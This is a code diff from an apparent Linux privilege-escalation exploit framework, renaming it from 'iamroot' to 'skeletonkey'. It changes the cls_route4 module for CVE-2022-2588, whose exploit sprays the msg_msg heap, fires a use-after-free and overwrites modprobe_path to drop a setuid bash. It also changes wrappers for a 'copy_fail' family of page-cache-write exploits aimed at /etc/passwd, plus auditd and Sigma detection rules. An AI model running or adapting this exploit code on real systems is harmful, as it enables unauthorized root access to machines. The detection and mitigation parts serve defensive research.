@@ -50,6 +47,14 @@
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
@@ -93,65 +98,56 @@ static bool cls_route4_module_available(void)
return found;
}
static int can_unshare_userns(void)
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
_exit(1);
}
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] cls_route4: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] cls_route4: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Bug-introduction predates anything we'd reasonably scan; if the
* kernel is below the oldest LTS we model (5.4), still report
* vulnerable. */
bool patched = kernel_range_is_patched(&cls_route4_range, &v);
bool patched = kernel_range_is_patched(&cls_route4_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v->release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Module + userns preconditions. */
bool nft_loaded = cls_route4_module_available();
int userns_ok = can_unshare_userns();
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
if (!ctx->json) {
fprintf(stderr, "[i] cls_route4: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] cls_route4: kernel %s in vulnerable range\n", v->release);
fprintf(stderr, "[i] cls_route4: cls_route4 module currently loaded: %s\n",
nft_loaded ? "yes" : "no (may autoload)");
fprintf(stderr, "[i] cls_route4: unprivileged user_ns + net_ns clone: %s\n",
userns_ok == 1 ? "ALLOWED" :
userns_ok == 0 ? "DENIED" : "could not test");
userns_ok ? "ALLOWED" : "DENIED");
}
/* If userns is locked down, unprivileged-LPE path is closed.
* Kernel still needs patching though report PRECOND_FAIL so the
* verdict isn't "VULNERABLE" but the issue isn't masked. */
if (userns_ok == 0) {
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] cls_route4: VULNERABLE — kernel in range AND user_ns allowed\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit -----------------------------------------------------
@@ -184,13 +180,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
* specific to be portable. If a dmesg KASAN message or oops is
* observed by the parent we return EXPLOIT_OK to reflect the empirical
* UAF win. The fallback also leaves a one-line breadcrumb in
* /tmp/iamroot-cls_route4.log so post-run triage can pick it up.
* /tmp/skeletonkey-cls_route4.log so post-run triage can pick it up.
*/
#define SPRAY_MSG_QUEUES 32
#define SPRAY_MSGS_PER_QUEUE 16
#define MSG_PAYLOAD_BYTES 1008 /* 1024 - sizeof(msg_msg hdr ~= 16) */
#define DUMMY_IF "iamroot0"
#define DUMMY_IF "skeletonkey0"
struct ipc_payload {
long mtype;
@@ -199,7 +195,7 @@ struct ipc_payload {
static int run_cmd(const char *cmd)
{
/* Quiet wrapper so noise doesn't drown the iamroot log. */
/* Quiet wrapper so noise doesn't drown the skeletonkey log. */
char shell[1024];
snprintf(shell, sizeof shell, "%s >/dev/null 2>&1", cmd);
return system(shell);
@@ -305,7 +301,7 @@ static int spray_msg_msg(int queues[SPRAY_MSG_QUEUES])
/* Pattern that's distinctive in KASAN/oops dumps. */
memset(p.buf, 0x41, sizeof p.buf);
/* First 8 bytes: a recognizable cookie. */
memcpy(p.buf, "IAMROOT4", 8);
memcpy(p.buf, "SKELETONKEY4", 8);
int created = 0;
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
@@ -349,7 +345,7 @@ static void trigger_classify(void)
dst.sin_port = htons(31337);
dst.sin_addr.s_addr = inet_addr("10.99.99.2");
const char msg[] = "iamroot-cls_route4-classify";
const char msg[] = "skeletonkey-cls_route4-classify";
/* A handful of packets, in case the first lookup didn't traverse
* the freed bucket. */
for (int i = 0; i < 8; i++) {
@@ -397,7 +393,7 @@ static long slab_active_kmalloc_1k(void)
*
* The implementation below takes the narrow-but-real path that the
* brief explicitly permits and that xtcompat established as the
* IAMROOT precedent: we re-stage the dangling filter, spray msg_msg
* SKELETONKEY precedent: we re-stage the dangling filter, spray msg_msg
* whose payload encodes `kaddr` at every plausible offset for the
* route4_filtertcf_protoops layout, re-fire classify, and let the
* shared finisher's sentinel file decide if a write actually landed.
@@ -412,8 +408,6 @@ static long slab_active_kmalloc_1k(void)
* Honest scope: this is structurally-fires-on-vuln + sentinel-arbitrated,
* not a deterministic R/W. Same shape and same depth as xtcompat. */
#ifdef __linux__
struct cls_route4_arb_ctx {
/* msg_msg queues kept hot inside the userns child. The arb-write
* sprays additional kaddr-tagged payloads into these and re-fires
@@ -427,7 +421,7 @@ struct cls_route4_arb_ctx {
* is idempotent inside our private netns. */
bool dangling_ready;
/* Per-call stats (written to /tmp/iamroot-cls_route4.log). */
/* Per-call stats (written to /tmp/skeletonkey-cls_route4.log). */
int arb_calls;
int arb_landed;
};
@@ -487,7 +481,7 @@ static int cls4_seed_kaddr_payload(struct cls_route4_arb_ctx *c,
return sent;
}
/* iamroot_arb_write_fn implementation for cls_route4. Best-effort on a
/* skeletonkey_arb_write_fn implementation for cls_route4. Best-effort on a
* vulnerable kernel; structurally inert (returns -1) if the dangling
* filter setup is gone or the spray fails. Returns 0 to let the
* shared finisher's sentinel-file check decide if the write actually
@@ -544,47 +538,41 @@ static int cls4_arb_write(uintptr_t kaddr,
return 0;
}
#endif /* __linux__ */
/* ---- Exploit driver ----------------------------------------------- */
static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
{
iamroot_result_t pre = cls_route4_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = cls_route4_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] cls_route4: already root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!have_tc() || !have_ip()) {
fprintf(stderr, "[-] cls_route4: tc/ip (iproute2) not available on PATH; "
"cannot exploit\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
#ifndef __linux__
fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n");
(void)ctx;
return IAMROOT_PRECOND_FAIL;
#else
/* Full-chain pre-check: resolve offsets before forking. If
* modprobe_path can't be resolved, refuse early no point doing
* the userns + tc + spray + trigger dance if we can't finish. */
struct iamroot_kernel_offsets off;
struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("cls_route4");
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("cls_route4");
fprintf(stderr, "[-] cls_route4: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
full_chain_ready = true;
}
@@ -607,7 +595,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
pid_t child = fork();
if (child < 0) {
perror("fork");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (child == 0) {
@@ -652,7 +640,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
/* Best-effort empirical witness write — picked up by --cleanup
* and by post-run triage. */
FILE *log = fopen("/tmp/iamroot-cls_route4.log", "w");
FILE *log = fopen("/tmp/skeletonkey-cls_route4.log", "w");
if (log) {
fprintf(log,
"cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n",
@@ -674,18 +662,18 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
* kernel a second chance at the refilled slot the
* dangling filter is still in place from above. */
arb_ctx.dangling_ready = true;
int fr = iamroot_finisher_modprobe_path(&off,
int fr = skeletonkey_finisher_modprobe_path(&off,
cls4_arb_write,
&arb_ctx,
!ctx->no_shell);
FILE *fl = fopen("/tmp/iamroot-cls_route4.log", "a");
FILE *fl = fopen("/tmp/skeletonkey-cls_route4.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
fclose(fl);
}
drain_msg_msg(arb_ctx.queues);
if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
_exit(35);
}
@@ -709,7 +697,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
pid_t w = waitpid(child, &status, 0);
if (w < 0) {
perror("waitpid");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (WIFSIGNALED(status)) {
@@ -724,14 +712,14 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
* claim root we haven't escalated. */
fprintf(stderr, "[~] cls_route4: empirical UAF trigger fired but "
"no cred-overwrite primitive — returning EXPLOIT_FAIL "
"(no shell). See /tmp/iamroot-cls_route4.log + dmesg.\n");
return IAMROOT_EXPLOIT_FAIL;
"(no shell). See /tmp/skeletonkey-cls_route4.log + dmesg.\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] cls_route4: child terminated abnormally (status=0x%x)\n",
status);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -740,19 +728,19 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: userns setup failed (rc=%d)\n", rc);
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 22:
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: tc setup failed; cls_route4 module "
"may be absent or filter type unsupported\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 23:
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: msg_msg spray failed; sysvipc may be "
"restricted (kernel.msg_max / ulimit -q)\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 30:
if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
@@ -760,34 +748,33 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[~] cls_route4: cred-overwrite step not invoked "
"(no --full-chain); returning EXPLOIT_FAIL.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
case 34:
if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: --full-chain finisher reported OK "
"(setuid bash placed; sentinel matched)\n");
}
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
case 35:
if (!ctx->json) {
fprintf(stderr, "[~] cls_route4: --full-chain finisher returned FAIL — "
"either the kernel is patched, the spray didn't land,\n"
" or the fake-ops deref didn't hit the route the\n"
" finisher's sentinel polls for. See "
"/tmp/iamroot-cls_route4.log + dmesg.\n");
"/tmp/skeletonkey-cls_route4.log + dmesg.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
default:
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: unexpected child rc=%d\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
}
/* ---- Cleanup ----------------------------------------------------- */
static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: tearing down dummy interface + log\n");
@@ -797,21 +784,49 @@ static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
* the exploit with extended privileges (e.g. as root) and the
* interface lingered in init_net. */
if (run_cmd("ip link del " DUMMY_IF) != 0) { /* harmless */ }
if (unlink("/tmp/iamroot-cls_route4.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-cls_route4.log") < 0 && errno != ENOENT) {
/* ignore */
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: cls_route4 / tc / netlink / msg_msg are
* Linux-only kernel surface; the route4 dead-UAF is structurally
* unreachable elsewhere. Stub out cleanly so the module still
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
* boxes and so the top-level `make` actually completes there. */
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] cls_route4: Linux-only module "
"(net/sched cls_route4 + msg_msg) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] cls_route4: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
static const char cls_route4_auditd[] =
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
"# Flag tc filter operations with route4 classifier from non-root.\n"
"# False positives: legitimate traffic-shaping setup. Tune by user.\n"
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k iamroot-cls-route4\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-cls-route4-userns\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-cls-route4-spray\n";
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k skeletonkey-cls-route4\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cls-route4-userns\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-cls-route4-spray\n";
const struct iamroot_module cls_route4_module = {
const struct skeletonkey_module cls_route4_module = {
.name = "cls_route4",
.cve = "CVE-2022-2588",
.summary = "net/sched cls_route4 handle-zero dead UAF → kernel R/W",
@@ -827,7 +842,7 @@ const struct iamroot_module cls_route4_module = {
.detect_falco = NULL,
};
void iamroot_register_cls_route4(void)
void skeletonkey_register_cls_route4(void)
{
iamroot_register(&cls_route4_module);
skeletonkey_register(&cls_route4_module);
}
@@ -0,0 +1,12 @@
/*
* cls_route4_cve_2022_2588 — SKELETONKEY module registry hook
*/
#ifndef CLS_ROUTE4_SKELETONKEY_MODULES_H
#define CLS_ROUTE4_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module cls_route4_module;
#endif
@@ -1,28 +0,0 @@
/*
* copy_fail_family — IAMROOT module registry hooks
*
* The family currently contains five iamroot_module entries:
*
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
* - dirty_frag_esp (CVE-2026-43284 v4)
* - dirty_frag_esp6 (CVE-2026-43284 v6)
* - dirty_frag_rxrpc (CVE-2026-43500)
*
* Defined in iamroot_modules.c, registered into the global registry
* by iamroot_register_copy_fail_family() (declared in
* core/registry.h).
*/
#ifndef COPY_FAIL_FAMILY_IAMROOT_MODULES_H
#define COPY_FAIL_FAMILY_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module copy_fail_module;
extern const struct iamroot_module copy_fail_gcm_module;
extern const struct iamroot_module dirty_frag_esp_module;
extern const struct iamroot_module dirty_frag_esp6_module;
extern const struct iamroot_module dirty_frag_rxrpc_module;
#endif
@@ -1,22 +1,23 @@
/*
* copy_fail_family IAMROOT module bridge layer
* copy_fail_family SKELETONKEY module bridge layer
*
* Wraps the existing per-CVE detect/exploit functions (from the
* absorbed DIRTYFAIL codebase) as standard iamroot_module entries.
* absorbed DIRTYFAIL codebase) as standard skeletonkey_module entries.
*
* The bridge functions translate between the family's df_result_t
* (defined in src/common.h) and iamroot_result_t (defined in
* (defined in src/common.h) and skeletonkey_result_t (defined in
* core/module.h). Numeric values are identical by design so the
* translation is a direct cast.
*
* iamroot_ctx fields (no_color, json, active_probe, no_shell) are
* skeletonkey_ctx fields (no_color, json, active_probe, no_shell) are
* forwarded to the family's existing global flags before each
* callback. This preserves DIRTYFAIL's existing CLI semantics
* unchanged.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/host.h"
#include "src/common.h"
#include "src/copyfail.h"
@@ -28,15 +29,44 @@
#include <sys/stat.h>
static void apply_ctx(const struct iamroot_ctx *ctx)
static void apply_ctx(const struct skeletonkey_ctx *ctx)
{
dirtyfail_use_color = !ctx->no_color;
dirtyfail_active_probes = ctx->active_probe;
dirtyfail_json = ctx->json;
/* Forward the --i-know authorization gate. SKELETONKEY already
* blocks --exploit/--auto unless --i-know is passed, so by the time
* a DIRTYFAIL exploit callback runs, authorization is established.
* This lets typed_confirm() skip its (now redundant) interactive
* prompt, which otherwise deadlocks `skeletonkey --auto --i-know`. */
dirtyfail_assume_yes = ctx->authorized;
/* dirtyfail_no_revert is intentionally not driven from ctx —
* it's a debug knob; default stays off. */
}
/* Bridge-level userns precondition. The 4 dirty_frag siblings + the
* GCM variant all reach the bug via XFRM-ESP / AF_RXRPC paths gated on
* unprivileged user-namespace creation (the inner DIRTYFAIL detect
* checks for it too, but doing it here gives the dispatcher one
* testable point per module and short-circuits the heavier
* inner-detect work when the gate is closed). copy_fail itself uses
* AF_ALG which doesn't strictly need userns, so it bypasses this
* gate its inner detect still confirms the primitive empirically. */
static skeletonkey_result_t cff_check_userns(const char *modname,
const struct skeletonkey_ctx *ctx)
{
if (ctx->host && !ctx->host->unprivileged_userns_allowed) {
if (!ctx->json)
fprintf(stderr, "[i] %s: unprivileged user namespaces are "
"disabled (host fingerprint) — XFRM/RxRPC variant "
"unreachable here%s\n", modname,
ctx->host->apparmor_restrict_userns
? "; AppArmor restriction is on" : "");
return SKELETONKEY_PRECOND_FAIL;
}
return SKELETONKEY_OK;
}
/* ----- Family-wide --mitigate / --cleanup -----
*
* The family-wide mitigation (blacklist algif_aead + esp4 + esp6 + rxrpc,
@@ -54,13 +84,13 @@ static void apply_ctx(const struct iamroot_ctx *ctx)
#define CFF_MITIGATE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf"
static iamroot_result_t copy_fail_family_mitigate(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_family_mitigate(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)mitigate_apply();
return (skeletonkey_result_t)mitigate_apply();
}
static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_family_cleanup(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
struct stat st;
@@ -69,27 +99,27 @@ static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
fprintf(stderr, "[*] copy_fail_family: detected mitigation conf "
"(%s); reverting mitigation\n", CFF_MITIGATE_CONF);
}
return (iamroot_result_t)mitigate_revert();
return (skeletonkey_result_t)mitigate_revert();
}
if (!ctx->json) {
fprintf(stderr, "[*] copy_fail_family: no mitigation conf; "
"evicting /etc/passwd from page cache\n");
}
return try_revert_passwd_page_cache() ? IAMROOT_OK : IAMROOT_TEST_ERROR;
return try_revert_passwd_page_cache() ? SKELETONKEY_OK : SKELETONKEY_TEST_ERROR;
}
/* ----- copy_fail (CVE-2026-31431) ----- */
static iamroot_result_t copy_fail_detect_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)copyfail_detect();
return (skeletonkey_result_t)copyfail_detect();
}
static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_exploit_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)copyfail_exploit(!ctx->no_shell);
return (skeletonkey_result_t)copyfail_exploit(!ctx->no_shell);
}
/* Shared detection rules for the copy_fail family — every member of
@@ -99,19 +129,19 @@ static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
static const char copy_fail_family_auditd[] =
"# Copy Fail family (CVE-2026-31431 + Dirty Frag CVE-2026-43284 + RxRPC CVE-2026-43500)\n"
"# Page-cache writes to passwd/shadow/su/sudoers from non-root.\n"
"-w /etc/passwd -p wa -k iamroot-copy-fail\n"
"-w /etc/shadow -p wa -k iamroot-copy-fail\n"
"-w /etc/sudoers -p wa -k iamroot-copy-fail\n"
"-w /etc/sudoers.d -p wa -k iamroot-copy-fail\n"
"-w /usr/bin/su -p wa -k iamroot-copy-fail\n"
"-w /etc/passwd -p wa -k skeletonkey-copy-fail\n"
"-w /etc/shadow -p wa -k skeletonkey-copy-fail\n"
"-w /etc/sudoers -p wa -k skeletonkey-copy-fail\n"
"-w /etc/sudoers.d -p wa -k skeletonkey-copy-fail\n"
"-w /usr/bin/su -p wa -k skeletonkey-copy-fail\n"
"# AF_ALG socket creation by non-root — heavily used by exploit\n"
"-a always,exit -F arch=b64 -S socket -F a0=38 -k iamroot-copy-fail-afalg\n"
"-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-copy-fail-afalg\n"
"# xfrm SA setup (Dirty Frag ESP variants)\n"
"-a always,exit -F arch=b64 -S setsockopt -k iamroot-copy-fail-xfrm\n";
"-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-copy-fail-xfrm\n";
static const char copy_fail_family_sigma[] =
"title: Copy Fail / Dirty Frag family exploitation\n"
"id: 4d8e6c2a-iamroot-copy-fail-family\n"
"id: 4d8e6c2a-skeletonkey-copy-fail-family\n"
"status: experimental\n"
"description: |\n"
" Detects the file-modification footprint of Copy Fail (CVE-2026-31431) and\n"
@@ -127,7 +157,7 @@ static const char copy_fail_family_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
const struct iamroot_module copy_fail_module = {
const struct skeletonkey_module copy_fail_module = {
.name = "copy_fail",
.cve = "CVE-2026-31431",
.summary = "algif_aead authencesn page-cache write → /etc/passwd UID flip",
@@ -145,19 +175,21 @@ const struct iamroot_module copy_fail_module = {
/* ----- copy_fail_gcm (variant, no CVE) ----- */
static iamroot_result_t copy_fail_gcm_detect_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_gcm_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)copyfail_gcm_detect();
skeletonkey_result_t pre = cff_check_userns("copy_fail_gcm", ctx);
if (pre != SKELETONKEY_OK) return pre;
return (skeletonkey_result_t)copyfail_gcm_detect();
}
static iamroot_result_t copy_fail_gcm_exploit_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_gcm_exploit_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)copyfail_gcm_exploit(!ctx->no_shell);
return (skeletonkey_result_t)copyfail_gcm_exploit(!ctx->no_shell);
}
const struct iamroot_module copy_fail_gcm_module = {
const struct skeletonkey_module copy_fail_gcm_module = {
.name = "copy_fail_gcm",
.cve = "VARIANT",
.summary = "rfc4106(gcm(aes)) single-byte page-cache write (Copy Fail sibling)",
@@ -175,19 +207,21 @@ const struct iamroot_module copy_fail_gcm_module = {
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
static iamroot_result_t dirty_frag_esp_detect_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_esp_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_esp_detect();
skeletonkey_result_t pre = cff_check_userns("dirty_frag_esp", ctx);
if (pre != SKELETONKEY_OK) return pre;
return (skeletonkey_result_t)dirtyfrag_esp_detect();
}
static iamroot_result_t dirty_frag_esp_exploit_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_esp_exploit_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
return (skeletonkey_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
}
const struct iamroot_module dirty_frag_esp_module = {
const struct skeletonkey_module dirty_frag_esp_module = {
.name = "dirty_frag_esp",
.cve = "CVE-2026-43284",
.summary = "IPv4 xfrm-ESP page-cache write (Dirty Frag v4)",
@@ -205,19 +239,21 @@ const struct iamroot_module dirty_frag_esp_module = {
/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
static iamroot_result_t dirty_frag_esp6_detect_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_esp6_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_esp6_detect();
skeletonkey_result_t pre = cff_check_userns("dirty_frag_esp6", ctx);
if (pre != SKELETONKEY_OK) return pre;
return (skeletonkey_result_t)dirtyfrag_esp6_detect();
}
static iamroot_result_t dirty_frag_esp6_exploit_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_esp6_exploit_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
return (skeletonkey_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
}
const struct iamroot_module dirty_frag_esp6_module = {
const struct skeletonkey_module dirty_frag_esp6_module = {
.name = "dirty_frag_esp6",
.cve = "CVE-2026-43284",
.summary = "IPv6 xfrm-ESP page-cache write (Dirty Frag v6)",
@@ -235,19 +271,21 @@ const struct iamroot_module dirty_frag_esp6_module = {
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
static iamroot_result_t dirty_frag_rxrpc_detect_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_rxrpc_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_rxrpc_detect();
skeletonkey_result_t pre = cff_check_userns("dirty_frag_rxrpc", ctx);
if (pre != SKELETONKEY_OK) return pre;
return (skeletonkey_result_t)dirtyfrag_rxrpc_detect();
}
static iamroot_result_t dirty_frag_rxrpc_exploit_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_rxrpc_exploit_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
return (skeletonkey_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
}
const struct iamroot_module dirty_frag_rxrpc_module = {
const struct skeletonkey_module dirty_frag_rxrpc_module = {
.name = "dirty_frag_rxrpc",
.cve = "CVE-2026-43500",
.summary = "AF_RXRPC handshake forgery + page-cache write (Dirty Frag RxRPC)",
@@ -265,11 +303,11 @@ const struct iamroot_module dirty_frag_rxrpc_module = {
/* ----- Family registration ----- */
void iamroot_register_copy_fail_family(void)
void skeletonkey_register_copy_fail_family(void)
{
iamroot_register(&copy_fail_module);
iamroot_register(&copy_fail_gcm_module);
iamroot_register(&dirty_frag_esp_module);
iamroot_register(&dirty_frag_esp6_module);
iamroot_register(&dirty_frag_rxrpc_module);
skeletonkey_register(&copy_fail_module);
skeletonkey_register(&copy_fail_gcm_module);
skeletonkey_register(&dirty_frag_esp_module);
skeletonkey_register(&dirty_frag_esp6_module);
skeletonkey_register(&dirty_frag_rxrpc_module);
}
@@ -0,0 +1,28 @@
/*
* copy_fail_family — SKELETONKEY module registry hooks
*
* The family currently contains five skeletonkey_module entries:
*
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
* - dirty_frag_esp (CVE-2026-43284 v4)
* - dirty_frag_esp6 (CVE-2026-43284 v6)
* - dirty_frag_rxrpc (CVE-2026-43500)
*
* Defined in skeletonkey_modules.c, registered into the global registry
* by skeletonkey_register_copy_fail_family() (declared in
* core/registry.h).
*/
#ifndef COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
